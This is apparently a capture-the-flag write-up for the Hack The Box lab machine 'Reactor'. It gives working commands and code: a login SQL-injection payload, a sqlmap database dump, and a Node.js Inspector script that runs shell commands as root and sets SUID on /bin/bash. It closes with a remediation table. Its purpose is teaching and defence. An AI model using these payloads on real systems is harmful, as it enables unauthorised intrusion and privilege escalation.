HTB Reactor — From Web to Root via Node.js Inspector RCE
Reactor — Hack The Box (Enterprise / Yaoundé Meetup, June 2026) Difficulty: Medium • Tags: Web, Node.js, SQLite, Privesc
Attack Chain Summary
Web app (login) → SQLi → SQLite dump → credential reuse
→ user access → exposed Node.js Inspector → RCE → root
Reconnaissance
We start with classic enumeration:
nmap -sV -sC -p- 10.10.11.x
We discover two ports: 22 (SSH) and 80 (HTTP) with a Node.js web application.
ffuf -u http://10.10.11.x/FUZZ -w /usr/share/wordlists/dirb/common.txt
Several interesting endpoints, notably /login and /api/.
Initial Access — SQLite Dump
The login form is vulnerable. Testing a classic payload:
admin' OR '1'='1' --
We bypass authentication. But the real jackpot is the ability to directly read the backend SQLite database:
sqlmap -u "http://10.10.11.x/api/login" \
--data "username=admin&password=test" \
--dump --batch
We retrieve a users table with a hash that we crack via john or hashcat. The credentials give us SSH access as the reactor user.
ssh reactor@10.10.11.x
Post-Exploitation Enumeration
Once on the machine, we look for what’s running locally:
ss -tlnp
ps aux | grep -i node
We notice a Node.js process listening on 127.0.0.1:9229 — that’s the Node.js Inspector, the official debugger, exposed locally. 🚩
Privilege Escalation — Node.js Inspector RCE
The concept
When Node.js is launched with --inspect or --inspect-brk, it starts a debug server on port 9229 (by default). If this port is accessible (even on localhost), any local user can:
- Connect to the debugger via WebSocket
- Inspect and modify variables in real time
- Execute arbitrary code in the process context
Exploitation
We use chrome-remote-interface or Node.js tools directly:
# List inspect targets
curl -s http://127.0.0.1:9229/json | jq
// Exploit: connect and force execution
const CDP = require('chrome-remote-interface');
(async () => {
const client = await CDP({ port: 9229 });
const { Runtime } = client;
await Runtime.enable();
const result = await Runtime.evaluate({
expression: `require('child_process').execSync('id').toString()`,
});
console.log(result.result.value);
})();
But the process was running as root! So the RCE gives us a root shell directly:
# Via the Inspector, we force execution
require('child_process').execSync(
'chmod u+s /bin/bash'
);
/bin/bash -p
# whoami
root
Remediation
| Problem | Fix |
|---|---|
| SQLi on login | Parameterized queries (prepared statements) |
| Readable SQLite | Strict OS permissions + encryption if possible |
| Password reuse | Anti-reuse policy, MFA |
| Exposed Node.js Inspector | Never in production. Disable --inspect |
| Process as root | Principle of least privilege — dedicated user |
Conclusion
A super educational machine. The main lesson: an exposed debug tool, even on localhost, is a gateway to root as soon as an attacker has a foothold on the machine.
“Debugging is convenient. In production, it’s fatal.”